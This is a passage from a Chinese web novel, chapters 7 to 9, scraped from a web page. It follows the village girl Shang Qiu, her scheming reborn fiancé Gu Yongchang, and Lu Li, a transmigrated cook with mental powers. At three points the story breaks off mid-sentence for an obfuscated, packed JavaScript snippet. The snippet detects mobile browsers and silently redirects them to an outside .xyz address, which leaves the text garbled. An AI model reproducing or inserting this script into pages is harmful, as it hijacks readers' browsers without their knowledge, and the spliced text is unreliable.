“我心中忧虑,想推开你,所以拿话刺你。”顾永昌打断,说着说着倒是找回了几分从前对商秋的珍重怜爱。 尤其商秋现在还这么年轻,如花一样娇艳。 顾永昌想,若他哄着她,拖着她,待商秋到了二十,成了嫁不出去的老姑娘,自己又金榜题名,她除了乖乖给他做妾,还能嫁给谁? 于是就越发情真意切:“而且你说的那叫什么,我真怕你在我面前说习惯了,哪日露了出去。” “爱之越深,责之越切,小秋,我是真看中你,不愿影响了你的名声。” 商秋被他说得动摇了不少,毕竟他们从小一起长大,感情很深,但她并没有被这甜言蜜语冲昏头脑,模糊重点。 商秋盯着他:“那早前说好的大定?” “当然不会有变。”顾永昌心头微冷,知道不能含糊了。 一如商秋了解他,他也了解商秋。 “我只是心中彷徨,但想到要推开你,就觉得难受极了,恨不得把心都挖出来。” “你不必多想,我既与你成婚,必会与你一同分担。”商秋这才真正缓和了语气。 “我已然想通,是我着相了。” 两人安静了会儿,顾永昌催促:“你快回去吧,别让那些孩子等急了。” 商秋点头。 虽然这个点是小童们吃午饭的时间,午饭后他们会歇一会儿,并不需要她盯着,但她要好好想想。 商秋的背影消失,顾永昌的脸瞬间阴沉了下来,几乎是咬牙切齿的喊着商秋的名字。 好半晌冷笑一声:“想当我的妻?且等着吧!” 湿透的后背凉沁沁的,越发提醒他刚才发生了什么,自己竟被一个小娘子的眼神吓到了! 不过恼怒之余这几天因为重生而飘的心也沉稳许多,商秋的凶性让他意识到一件事,她不是弱女子。 商秋一身神力,又有石头村作为倚仗,自己若贸然和她翻脸绝讨不了好。 顾永昌觉得,这里不能呆了,或许可以搬去县里? 但县里花销大,他还要继续科举,上京更是远在千里,没点底子根本去不了。 他要好好想想。 待顾永昌也离开,丛林西西索索,又走出来一人。 陆理面无表情。 他没想偷听人小两口说话,但这个地方是他先来的,严格来说,他是在更远处的后面睡了一觉。 没错,就是商秋发现的秘密基地。 那里人迹罕见,风景却不错,赶巧,陆理也相中了,他这一觉睡到快中午,肚子饿了才醒。 本打算回山上做饭的,谁知突然来两个人堵路上,他就没出去,懒洋洋又躺下了,准备等人走了再说,谁知…… 陆理皱了皱眉,忽然按住肚子,他真饿了。 闭上眼睛,过了会,直直往一个地方走去,拨开草丛,一只兔子僵立原地,陆理抓起它,回山。 7. 第 7 章 商秋回到家,小童们正在吃从家里带来的干粮,商老爹给他们热了热,看到商秋回来赶紧招呼她吃饭。 商秋不太想吃,只匆匆扒拉了几口。 “怎么才吃这点?”商老爹问,这可不是她平时的饭量。 商秋不想她爹操心,说:“不怎么饿。” 回到书房,本打算准备一下下午的课程,却怎么也看不下去,心里像是窝了一团火,越来越燥。 放下记录的本子,商秋来到库房,这里面满满当当堆放的都是她的嫁妆。 据说大户人家从女儿出生起就开始准备了,那是奔着能用一辈子去的。 商家没这个条件,商秋也想尽善尽美,最近才凑齐打柜子的香木头。 可其他东西却很完善,光可鉴人的铜镜和铜脸盆,今年新下的棉花做成的衣被,又大又厚实,保证冬天暖和,还有……商秋打开一个匣子,里面装的是她爹给她娘置的首饰,不久前她爹拿给了她。 她望着这金灿灿的镯子,仿佛能看到她爹对她大婚的期许。 娘去了,留下的东西越来越少。 这桩桩件件,都满载着自己或是家里人的心意。 只是商秋忽然觉得原本清晰的未来像蒙上了一层纱,变得不确定了。 她轻轻合上匣子,叹了口气。 不能乱想。 两家从八年前开始议亲,而顾永昌论条件,是十里八乡独一份。 商秋走出库房,看了眼天色,还有时间,她走进厨房,对正在洗碗的商老爹说:“爹,等孩子们睡醒,你来看着他们练字。” “咋了?”商老爹不解。 商秋表情没有异样:“我赶着中午上山一趟,突然想起有个药材成熟了,怕鸟兽霍霍,现在去采。” “哦。”商老爹应了一声,没多想,闺女从小就很有主见,会安排。 他从前上山最多记一下猎物的分布,可商秋却细致到哪一处生长着哪种药材,大致的成熟时间……到了那个点直接过去采。 近几年她摸索出规律,已经很少有疏漏了。 所以商老爹觉得商秋读书挺好。 商秋带上背篓,手掠过常用的,拿了旁边用鹿筋做的小弓。 这个小弓无需箭矢,随便捡几块石头就能用。 商秋没打算跑太远。 她进了山,深吸口气,紧皱着的眉头微微舒展。 商秋喜欢山林的纯粹。 随意挑了个方向,走了一刻钟停下来,商秋抓着小弓安上石头,开始打麻雀。 通泽县这边冬天比较冷,稻子种的早,通常七八月成熟,这会儿才六月下旬,但山林中的鸟雀已经多了起来。 石头村近山,正经能种粮食的地少,但大家经历过战乱,非常重视收成。 商秋家只她和她爹,地就更少了,所以每年秋收的日子,两人都要轮流守在田里,驱赶鸟雀。 其中麻雀是最多的,商秋对这种个头小还全是毛的猎物很嫌弃,连小型箭矢都懒得制,直接用石头。 一下一下又一下,商秋的速度越来越快。 接连七八只麻雀落地,剩下的终于反应过来,惊叫着飞走了。 商秋眉眼不动,走过去捡起来,又换了一片地,这麻雀没什么脑子。 果然,等她在前边打了一圈回来,这边麻雀又停在枝头,叽叽喳喳叫唤了。 商秋的背篓装满了大半,心里的气渐渐平了,迟来的感觉到了饥饿。 正打算下山,忽然闻到一股肉香。 有人在山上用火!商秋立即走过去。 越近,那股烤肉的香气就越浓郁。 商秋越走越快,不自觉忽略了周围景色的熟悉,直到转入一片空地,看到正坐在小板凳上一手翻着树枝,一手往肉上刷东西的陆理才反应过来。 这是她家在山上的老屋。 自她爹在山下建了房,这处老屋便很少用,但商家还是很精心的维护着,方便上山打猎的人过夜。 陆理现在住这儿。 商秋难以把眼睛从烤肉上挪开,本就饥饿的肚子咕咕叫了起来。 她咽了咽口水,不自觉道:“陆理,你烤的肉好香。” 商秋不仅吃的肉多,种类也丰富,这一点连县里许多大户人家的小姐都比不上,但不管是她和她爹做的、她舅母做的,还是偶有一次去县里酒楼吃的,都没有陆理这个香。 陆理不是富贵人家的郎君吗,怎么烤肉的手艺这么好? 但想到他身中数刀,商秋又懂了,她听过不少秘辛。 深宅大院,若不受宠,别管多尊贵的人,连一顿正经饭食都用不上。 陆理手艺这么好,想来私下找食的次数不少。 “商姑娘。”陆理的话打断商秋的七想八想,“先等会儿,肉马上熟了。” 商秋眼睛一亮,左右扫了一眼,搬起一块大石头,放在离篝火稍远些的位置坐下。 陆理看着那块自己准备打石磨的石头,嘴角抽了抽。 等兔肉熟了,他给商秋撕了一条兔腿,犹豫两秒,又撕一条。 商秋很虔诚的接过,刚咬一口,眼睛嗖的一下瞪圆了。 这是兔肉? 但怎么没有一点骚臭味?而且这么嫩,丰足的汁水经由舌头,几乎在商秋的脑海里炸开了一朵烟花。 肉还能做得这么丰富?她吃出了花椒的麻,茱萸的辣以及蜂蜜的甜味! 这些并没有盖过肉香,反而完美组合起来,让肉好吃得商秋根本停不下来。 一只兔腿,两只兔腿……等商秋觉得肚子微饱时,她才意识到自己把这只兔子吃去大半,陆理只吃了一条兔腿,正在可怜兮兮的啃兔头。 他啃得很慢,那小心的姿态让商秋难得愧疚。 自己居然和一个病人抢肉吃! 商秋把背篓里的麻雀都倒了出来,重重道:“这些都给你。” 陆理惊讶:“这么多?不用,给我一半就好。” 商秋不太好意思:“这麻雀没什么肉,拔毛又麻烦,等下次我打到兔子送你一只。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716736|173748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她不是那等没有见识的人,做肉的大料很贵,陆理竟还用了蜂蜜! “我要下山了。”商秋站起来,叮嘱道,“你在山上住,驱兽粉别忘了撒,还有雄黄。” 商秋不怕毒蛇,毒蛇全身是宝,越毒的做成药效果越好,但她知道不是谁都有自己徒手抓蛇的本事。 “商姑娘。”陆理忽然叫住她。 “咋了?”商秋回头。 陆理对上她那双明亮清澈又生机盎然的大眼睛,怔了一下才道:“人心已变,既至穷巷,当及时止损。” “你!”商秋的瞳孔受惊的颤了一下,陆理忽然想起了小鹿,笑了笑,低头灭火。 商秋站了一会儿,到底没说什么,回去了。 陆理进屋拿了个柳筐,抓起一只麻雀,很快,麻雀全身的毛开始脱落,变得光溜溜的,肚子破开,不能吃的内脏也刨了出来,他甩了甩,把处理好的麻雀放进筐里。 不多时,地上便空了。 陆理又拿出调料,开始腌制。 他做事不急不缓,给人一种慢吞吞的感觉。 穿来已有两月,陆理很喜欢这种慢节奏的生活。 上辈子他是个卷王,从读书卷到工作,没想到刚升职加薪,世界末日突然来了,有八成的人变成了丧尸。 他觉醒了精神异能,每天奔波在打丧尸升级和填饱肚子上,卷得更狠了。 末世后动植物被感染,虽然他的精神异能擅长追踪寻找,但后期能吃的还是越来越少,资源的匮乏让内斗越来越严重。 当为了一个肉罐头和人同归于尽时,陆理第一时间想的却是终于可以睡觉了。 他没想到自己还能再睁开眼睛。 睁眼后的世界又如此美好。 这是一个历史上并不存在的朝代。 当然,那不重要,重要的是这个世界完全没有被污染过。 穿越第一个月,陆理一边养伤,一边想尽办法吃肉。 他的精神异能在这里简直跟作弊一样,虽然相比全盛时期只保留了一小半,但满山的肉也几乎随他挑。 陆理哭笑不得的发现自己居然吃腻了。 不,准确的说,应该叫更挑剔了,这个富足的世界把他宠坏了。 他不再想着吃饱,他想吃好。 把兔腿让给商秋自己啃兔头,也是因为他真心觉得兔头更好吃,而且兔腿有点肥了。 想到商秋,就想到她那个未婚夫。 对于对方想悔婚,陆理竟没有多少意外,很多男人的通病,升官发财死老婆。 那人大概是觉得自己能中一个小三元,就看不上商秋了。 陆理觉得他有点身在福中不知福,这么能干的未婚妻都不珍惜。 之前精神力扫到商秋上山打麻雀,陆理就知道她没被忽悠过去,不过是沉没成本太高。 当然,这到底是别人的事,提点一句已经是看在商秋帮过他的份上,陆理很快丢开。 忙了这么多年,他现在只想好好吃饭,好好睡觉。 8. 第 8 章 商秋回家,检查了小童们的功课,又带着他们读了会儿书就到了傍晚。 把人都送走,吃过晚饭,她回到书房开始翻医书。 医书很破旧,能看出已经被人翻了许多遍。 商秋想起前几天去县里书铺没有找到新的医书,拧了拧眉头。 对此于掌柜也很为难,曾说过这方面的书流到市面上的比科举的还少,多为家传,她若认真想学医,最好拜一位师父。 商秋也想拜师,可她厚着脸皮去给县里大夫干活,人家根本不让她进。 “也不知小舅什么时候能回来?”商秋撑着下巴,面露期待。 她小舅常年在外跑商,上一次出门时就说,要给她带一本稀世罕见的医书,用作大婚时添妆。 商人讲究诚信,小舅说话向来一口唾沫一个钉,商秋知道他敢说肯定已经有了眉目。 她也不要什么稀世罕见的,只要是没见过的医书她都喜欢。 忽然门咚咚的响。 “商秋,是我。” “爹,你咋了?”商秋打开门,让人进来。 商老爹搓了搓手,有些严肃的问:“你今天和那小子出去,是不是他说了不中听的?” “爹。”商秋心中一跳,“你怎会这么想?” “你休想瞒我!大中午那会说是采药,背篓空荡荡的啥也没有。”商老爹是了解商秋的,每次上山从不走空。 商秋没想到是这里露了破绽,赶紧把遇到陆理的事说了。 商老爹点头:“那药材呢?” “没找到,去晚了。”商秋垂下眸子。 商老爹定定地看了她,忽然道:“你和顾小子是不是出问题了?” 商秋沉默良久,才试探性的问:“爹,如果我们两个不能成婚……” 商老爹一下子怒了,眼睛瞪得跟铜铃似的:“他要负你?” “不是。”商秋赶紧否认,她爹把她看得很重,她怕他扬着一双拳头去揍人。 顾永昌现在不同于以往,马上就是秀才了。 商秋解释:“爹,是我不想离开你,若我和他成婚,村里肯定待不长久,你又不肯和我同去。” 商老爹倒不是顾忌闺女嫁人还带着亲爹,仅仅是他媳妇儿埋这儿,他不想离她太远。 这会儿听商秋说舍不得,没忍住道:“不如你考虑一下你舅家的表弟亮小子,他可喜欢你了,你舅以前还提过让他入赘我们家,你跟他成婚,还住家里,没谁能欺负你。” 爹还没放弃让自己招赘呢,商秋哭笑不得:“爹啊,谁能欺负我,谁敢欺负我?” 父女俩都是大嗓门,在自家也没个顾忌,却不知这话正好被来找商秋的赵表弟赵明亮给听了去。 他呆在原地,只觉得自己在做梦,不然怎么听到姑父想把表姐嫁给他的美事。 下意识的,赵明亮往亮着灯的书房走去,脚步声被父女俩察觉,商老爹打开门,见到外头的赵明亮,一怔: “亮小子,你这么晚过来做甚?” 赵明亮没有太多表情,震惊得有些懵了,下意识说:“之前我爹在山里发现了一片金银花,他让我来找商秋去采。” 商老爹皱眉,有点看不上,不过——闺女拿得住。 商秋也听到了,想了想说:“行。” 等赵明亮离开,商老爹对商秋挤眉弄眼,商秋无奈:“爹,你就别乱点鸳鸯谱了。” 她只把表弟当弟弟看。 次日赵明亮早早来了商家,一身靛蓝色鲜亮极了,有些拘谨的站在商秋面前,看着商秋看过来,扣了扣衣摆。 商秋皱着眉头道:“不是说采金银花,你怎么穿新衣?这衣服上山,你想被舅母打死吗?” 商秋身上的衣服不仅旧,还有很多补丁,她觉得表弟在作死。 赵明亮:“……” 商秋摆了摆手:“还不快去换了?” 赵明亮怏怏的看了她一眼,欲言又止,走了。 路上正垂头丧气呢,一个小娘子跑过来,两眼放光的看着他:“赵明亮,你今天这新衣可真好看,是要去县里吗?我跟你一起去。” “不,我要去山里采药。”赵明亮有气无力。 “啊?”小娘子不解的看着他的新衣,但还是扬起笑脸,“那我去帮你采。” “不用。” “要的要的,你爹和小商姐救了我奶,我要报答你们,你等等啊,我去换一身旧衣就来。” 小娘子一边往家飞跑,一边强调,“一定要等我啊。” 虽然商秋只把赵明亮当弟弟,但说实在,他挺好看,浓眉大眼的,人又高壮,可受欢迎了。 毕竟顾永昌也就有个功名,但赵明亮知根知底,家近人好,还跟着赵大夫学医,能上山打猎,真是再适合不过的夫君人选。 石头村的小娘子可不像城里那般矜持,遇见喜欢的郎君就很主动。 “小商姐,我也上山帮忙。” 商秋没想到表弟回去一趟,还多出一个小尾巴。 她认出来人是许大虎的妹妹许玉禾,答应了,采金银花的活不重,就是麻烦,多一个人帮忙挺好的。 “谢谢小商姐,我一定认真干活。” 许玉禾满脸笑意。 一行人往山上走,赵明亮在前面带路,许玉禾跟在他身边,连声问:“赵明亮,你饿不饿?我带了个窝窝头,分你一半吧?” “不用。” “那你渴不,我带了两竹筒的水。” “真不用。”赵明亮有些急,连忙去找商秋,却见商秋落在后面,正在观察林子,他心中失落,转移话题,“我们这次上山是要采金银花,你知道金银花吗?” 商秋没有参与两人的话题,她带了弓箭上山,见表弟越走越偏,神情便由一开始的放松变得戒备了起来。 好在一路顺遂。 商秋有些意外,她来这边比较少,还真没发现有金银花。 不过山林那么大,她当然不是所有的都去过,只对近山且靠近石头村的熟悉,但这里已经算深山外围了。 商秋明白为什么大舅让表弟找自己了。 这位置有些险。 “你们采吧,我去周围看看。” 商秋既把他们带来了,就会把他们安全带回。 她探查了一圈,抓了两条毒蛇,才开始摘金银花。 虽然许玉禾是为赵明亮来的,干活却很利索,半个时辰后,便只剩下小半,商秋没再采,又开始巡逻。 走着走着,她忽然皱了皱鼻子。 金银花很香,在一定程度上蒙蔽了商秋的嗅觉,此时她才闻到一股有些特殊的香气。 走了大概五六丈,商秋停下,用棍子拨了拨草丛,看到了一种蜂蜜色的榛蘑,边缘有条纹,肉是白色,褶略粉,旁边还有几朵出现了淡褐色的斑点。 认出是什么,商秋大喜,在附近找了找,果然找到了天麻。 之前还琢磨要找贵重药材,没想到这就遇到了天麻! 今早小童被送来时,商秋已经说了今天有事,让爹盯着,现在并不着急。 她动作非常小心,细致的把成熟的天麻都挖了出来。 上山一趟不易,商秋索性把这片摸了个遍,又找到些大众药材,午饭简单啃的干粮。 等下山时,三人的背篓已经满满当当。 满载而归的商秋很高兴,并不知道顾永昌又来了。 他回去算了一笔账,发现想搬去县里很难,而且就算去了县里也未必能摆脱商秋。 斟酌一番后,顾永昌决定利用自己准秀才的身份。 势必让石头村人都认可商秋自身不足,只能当他的妾。 他们再愚昧,可在他爹的潜移默化下,也知道了读书的重要性。 从他家重开私塾后,送过来的童子有一大半都是本村的就可以看出端倪。 如此一来,做长辈的还能不看重孩子的前途? 顾永昌有些懊恼,私塾一直不开真是个错误的决定。 是,他时间宝贵,要赶在忘记前把前世种种都记下来,但他是准秀才了,完全可以学商秋,让童子自己在私塾中读书,只叫母亲和妹妹盯一下。 反正石头村人没一点章法。 打定主意后,顾永昌特地赶在下午过来,就为在家长面前展示能耐。 只是想得再好,面对商猎户的黑脸,心头又开始打鼓。 “商叔父,这本是我的责任,却叫你和商秋受累。”顾永昌定了定神,很谦逊,“我看他们读了许久,有些累了,不如来院中缓缓眼睛,我也跟他们讲讲故事。” 商老爹没多想,眼睛是顶顶重要的。 小童们来到院中,认出顾永昌,笑容一敛,赶紧规矩的叫先生。 * 这日镇上没什么活,钟婶难得提前回来,收拾完家里,想了想,去商家接儿子、 到了发现不少人围在门口,听着里头一个年轻声音。 这人讲的是科举的事! 钟婶挤进去,果然看到了顾童生。 “……待考中秀才,才是科举为官之路的开始,所以年轻的有识之士往往会去考乡试,乡试又称秋闱,学子除了通晓经史诗赋,还要懂得律法,了解朝廷策略……待到殿试,便可面见圣上,赐进士出身,有礼部演奏丹陛大乐,宫门前张挂皇榜唱名,可谓春风得意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716737|173748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马蹄疾。” 顾永昌一派意气风发,眼神激动,竭尽所能的描述着当年种种。 他带入的自然不是曾经二甲里不起眼的自己,而是站在最前面一甲及第的状元郎。 见识面极度匮乏的老百姓哪听过这样的风光,都被震住了。 顾永昌身如其境的描述可比庙会唱得真实多了,也格外能打动人,一时间,众人纷纷心向往之。 心动后,便有人忍不住问他,自家孩子若要科举,这里面的讲究和花销。 顾永昌似有若无的笑了笑:“若说讲究,这头一个便是字,都说字如其人,阅卷的考官第一眼注意到的也是字好不好看,所以练字初时就格外重要,我之前在外面见到你们居然用水练字?” “此法不妥,看似省钱了,可一旦形成习惯,日后想掰正过来千难万难,为小利而失大义,长久来看却是耽误了你们的前程。”顾永昌长长的叹了口气,“唉,商秋到底是小娘子,见识浅薄了些。” 一片安静中,一个清脆的童声响起:“可是这一点商先生已经告诉我们了。” 许承安黑白分明的大眼睛看着他,有些不高兴。 钟婶终于挤进内圈,笑着说:“顾童生啊,我家底子薄,根本没想过送孩子科举,只让他识得几个字,将来去县里谋个账房或是别的轻省的活计,所以这字啊,也不必练得太好,一味按科举的标准来,哪里供得起?” 又不是所有人都像你,有商家这个大方的岳家? 这话钟婶没说,她一寡妇带儿子,贯来与人为善,便是心里不高兴也只暗暗刺一把。 不过不好得罪准秀才,夸商秋却是可以的,钟婶笑着说:“我一妇人,不懂那些大义,只觉得商秋真是个大好人,竟愿意把这样省钱的窍门告知我儿!” “说起来她今天有事,还特地把功课安排了,可实际她一文钱没收,便是临时放假也是应当。” 说这话时,她依旧一副本分人的模样,但有来接孩子的外村之人却没忍住,看了顾永昌一眼。 钟婶还在夸:“而且她教的极好,我儿年幼,忘性大,才大半月,竟把功课忘了个七七八八,结果不过在商秋这里学了几天,这整本的三字经都能背下来了。承安,这在场的都是你的长辈,快来背一段,也叫他们看看你商姐姐的本事!” 许承安果真挺直腰杆,毫不怯场的从头背诵三字经。 他都带领同窗读了两回,熟门熟路。 众人听到他吐字清晰,背诵流利,纷纷夸赞。 此时已经没人去看顾永昌了,大家多少回过味来了。 之前听顾童生描述科举做官的风光,便被迷了心智,居然以为科举是一件很容易的事。 殊不知,十里八乡也就出了一个顾永昌! 可也不想想,人家爹是秀才,又有商家支持,他们哪里能比? 倒不如像钟婶所说,先学些字,谋个生计,也免了一辈子土里刨食,若自家孩子真有天赋,再供也不迟。 穷苦人家,每一个铜板都要计较。 顾永昌没想到局面瞬间就翻转过来,意识到自己犯了何不食肉糜的错,心头一沉。 正想着弥补,就看到了回来的商秋。 商秋却没看到他,意外于自家门口这么多人,但还是先把沉重的背篓放下。 她力气大,许玉禾却快扛不住了。 刚放好,众人就围过来,商秋本以为他们好奇自己在山上的收获,却听他们都道:“商秋,你把孩子教的这么好,我也想把我家小的送来,这拜师礼嘛好说。” 商秋:“……” 顾永昌呆住,接着气得捏紧了拳头,只面皮还绷得紧紧的,不肯露出狼狈。 “顾大哥,你真厉害,他们都不懂科举的重要,但我知道。”突然旁边传来一道女声,顾永昌下意识看过去,却见一个年轻白净的小娘子正崇拜的望着他。 顾永昌一时没想起她是谁。 “我哥哥也在县里读书,想向顾大哥请教一下下场的事,可以吗?” 她这一说,顾永昌倒想起来了。 毕竟石头村就考中他一个秀才,还有一个童生,后来他接了他的班,重新把私塾开了起来,商秋对他还挺重视的,收集了不少文章,托人带去。 所以顾永昌记得眼前小娘子的未来。 她嫁了一个城里郎君,这郎君是县里大户柳家的亲戚,被过继到柳家,继承了偌大家业。 没错,就是那个因感激商秋而送了她一座府城宅子的柳家。 这座宅子前世成为了他晋升的梯子,那么这一世…… 想到后来柳家的生意都做到上京去了,顾永昌十分心动。 9. 第 9 章 为什么会过继?自是柳家没人了。 柳家只有一儿一女,身体都不太好,柳二郎虽得了商秋的人参救急,却缠绵病榻,没多久就去了。 柳大娘本是打算招赘的,悲伤之下也没扛住,临终前,匆匆给父亲过继了嗣子。 顾永昌眼神闪烁,想到了可以利用的地方。 他不能娶商秋,但可以娶柳大娘,把她留在通泽县照顾母亲。 于是顾永昌难得对眼前陌生的娘子热络起来——她总不可能是莫名其妙嫁去城里吧,必定是因为她哥那边的关系。 顾永昌想从她嘴里多知道一些柳家的事。 同一时间,商秋正被缠住,回答可不可以送孩子过来读书的问题。 “三岁?三岁真的太小了!”她可不想自家院子变成大孩子带小孩子的地方。 商秋无奈道:“最少也要孩子六岁,懂事了。” 毕竟,她震慑力再强,面对听不懂人话的小孩也是无奈。 “如果非要让孩子读书,也不必浪费这拜师礼,可让大的回去后再教小的,如此也算温习白天的功课。” “要说起来——”商秋心中一动,正色看向面前的家长,“若你们想识字,也是可以的,你们总比小孩记得牢,方便指出错误,而且日后去镇上、去县里打工,识了字就不会被骗了。” 家长们:“……” 感兴趣的脸色一僵,赶紧摆手:“这、这就不必了!” “是啊,都这把年纪了学不会啊。” 还有人暗戳戳的想,让自家孩子教自己?多丢脸! 怕商秋继续劝,赶紧走了。 确实打算劝一劝的商秋:“……” 有必要吗?又不是让他们上山面对野猪? 人走了七七八八,商秋眼睛一扫,终于看到了被挤到边缘的顾永昌,心中喜悦,正欲上前,忽然注意到未婚夫正在和一个同村的小娘子说话。 两人离得很近,顾永昌看着她很专注,很……热切。 商秋蹙眉,以往这样的目光都只落在她身上。 不同于村里人的随意,顾永昌一项讲究男女授受不亲,连带着商秋也讲究起来,为怕他不高兴,狩猎都和阿婶们走一处。 可现在,他怎么…… 商秋又看向他旁边的小娘子,想起这是谁。 何家何秀儿。 她外公原是县里人,为避难,火速把女儿嫁到村里,一家子也搬进来。 待战乱结束,又搬回了城里,不过没和离,两边还是正常处着。 何秀儿养得娇,从不下地,日常也就是织些布,因此皮肤细嫩,生生比别人白了一截。 她又会打扮,头上常有新花样,在村里就很受欢迎。 商秋也受欢迎,但两者完全不一样,至少很少有人敢生出娶商秋的想法,但她,她家门槛都要被踏破了。 商秋知道何秀儿喜欢顾永昌,小时候大家一起玩她就缠着顾永昌,但顾永昌不搭理她。 她还闹腾过,指着商秋说:“她力气那么大,随便就能打死你,你为啥喜欢她不喜欢我?明明大家都喜欢我!” 当时顾永昌冷哼一声:“别人喜欢你,我就要喜欢你吗?我只喜欢商秋,我就只跟她一起玩。” 商秋听了那叫一个得意。 何秀儿不服气,就和商秋打架——虽被城里舅家影响了,但到底是石头村人,骨子里也认可谁拳头大,谁说话算数。 结果不用说,她最后是披头散发哭着跑回去的。 商秋可没有不打小娘子的习惯。 后来她们就不大对付,严格来说,是她单方面和商秋不对付。 之前顾永昌去考院试,她还讽刺过商秋:“硬邦邦的没一点小娘子样,当心顾童生在府城被人榜下捉婿,不要你!” 商秋从不在意她,因为顾永昌的态度一直都很明确。 但现在,商秋看着他们相谈甚欢,心里起疑,难道未婚夫真的变心了?他现在喜欢何秀儿那样的? 此一时彼一时,自己也该跟城里小娘子学? “小商姐!”赵明亮顺着商秋的目光也看到了这一幕,顿时捏紧拳头,“他这是干嘛?竟勾搭别的小娘子?我找他去!” 商秋一把拽住他,无语道:“你别乱来。” 她本想说那是我的未婚夫,你敢揍他我就揍你,但最终只是道,“人家马上就是秀才了,见官都不跪的。” “那他也不能负你!” 赵明亮咬牙切齿。 “哪有你说的那么严重,他就算和我成了婚,也没有不能再和别的小娘子说话的道理。”话虽如此,商秋却有点烦躁,“这事你别管了。” “哦。”赵明亮下意识缩了缩脖子。 好一会儿他才反应过来,如果顾永昌变了心,表姐不就会考虑自己了? 他这猪脑子! 算了,就算嫁给表姐可以每天吃肉,也不能是这人负了表姐的前提下。 他家的人,怎能被人欺负? 商秋收回目光,性格如此,她永远也学不来城里娘子的娇弱。 蹲下身,把背篓里的东西挑了挑,递给赵明亮和许玉禾一人一个筐:“你们带回去吧,药材我就不分了。” 许玉禾惊喜的看着筐里的野鸡兔子,本以为中午那顿肉已经是全部了,没想到小商姐比她想的还大方。 所以,小商姐为什么不能娶她呀? 赵明亮和许玉禾各抱一个框离开,商秋没忍住,又看向顾永昌,发现他不知什么时候也走了。 商秋垂下头,去了后院处理收货。 这时,提着两个大篮子的陆理才不知从哪冒出来。 他其实早就到了,只是商家门口围了许多人,他便先找了个地方躺着。 陆理是来卖卤麻雀的。 卤麻雀果真比烤兔子好吃,小小一个,可能是因为常在天上飞的关系,肉只薄薄的一层,很紧实,里面的骨头都烤酥脆了,又浸了一晚上的卤汁,非常入味,并不发苦。 当时看着麻雀,陆理想到了自己有阵子最爱的一家先烤后卤的鸡爪。 每次下班都要买,满满一盒,等吃完一天的疲惫都消失了。 这样的美味,末世后自然没了。 陆理不知人家的方子,但许是异能控制得恰到好处,竟半点不觉得差。 他一口气吃了个够。 看着剩的一半,就决定下山卖掉。 陆理靠山吃山,其余倒不讲究,一般是缺钱了,就想办法搞点钱。 于是卖给商老爹也不贵。 “一只二十文。” 他把盖在篮子上面的树叶拿掉——撤掉异能罩子,瞬间,卤味的香气就飘了出来。 商老爹立刻说:“我买。” 还有没走的家长,虽嫌贵,却抵不住孩子撒娇,也买了。 一只又一只用大叶子包好给出去,回来一把铜板,剩下都让商老爹包圆了。 陆理提着装了钱的篮子回山,想到了商秋。 都说美食会让人心情好,以前有同事失恋了就拼命买甜食,但买了又不敢吃太多,怕胖。 她就没有这问题,胃口好得很。 陆理倒不是要哄人,只是商秋救了他,这麻雀又是她给的。 * “爹,咱们一人一半。”捧着卤麻雀的小孩高兴的说。 “不用。”他爹连忙摆手,咋能跟孩子争嘴? “必须分。”小孩振振有词,“你不吃,光我吃,就是我不孝!” 他爹当下大为感动:“那我吃一口?” 本只想咬一小口,没想到入嘴的瞬间,麻雀的酥脆与卤汁的霸道占据了所有感官,他情不自禁的又咬一口,又一口。 直到儿子气的大叫:“爹,该我了。” 他才反应过来,一时讪讪的——“没想到这麻雀小小,却这么好吃。” “是啊,这得放了多少料,我还吃出了甜味。”有同样买了麻雀的人说。 “商猎户,你再卖我一只……不,我要两只!”第一个买卤麻雀的冲到了商老爹面前。 “赶紧走,我自家吃还不够呢。”商老爹挥手赶人。 知道以商猎户的性格是占不到便宜了,一行人遗憾离开。 路上,虽不是同一个村,却不陌生,便聊了起来。 “说来那卖麻雀的,好像以前没见过,他还把脸蒙起来,古里古怪的。” 作为经历过战乱的人,对这种生人还是很警惕的。 立马就有人回:“我打听了,他叫陆理,是家中大郎,商猎户的远亲,最近来投奔他,住在他家老屋。” “原来是这样。”众人立马就放心了,商家的人品他们还是信任的。 再说陆理就少了许多戒备。 “这陆大郎可真不会过日子,竟然用那么好的大料来卤麻雀?” “我倒觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733141|173748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这卤麻雀比卤肉别有一番滋味,等秋收我家抓了麻雀也这样做。” 不过对于陆理不会过日子这点,则很赞成:“这麻雀里能吃出甜味,怕是放了不少糖,结果他一只才卖二十文?!” 不由啧啧摇头,“这若是做买卖,怕不是要亏得当裤子。” 路走一半,忽有人发出一声惨叫:“啊!我忘了向商猎户买凉茶包!” 秋收快到了,再怎么热也不得闲,以往要晒晕好些人。 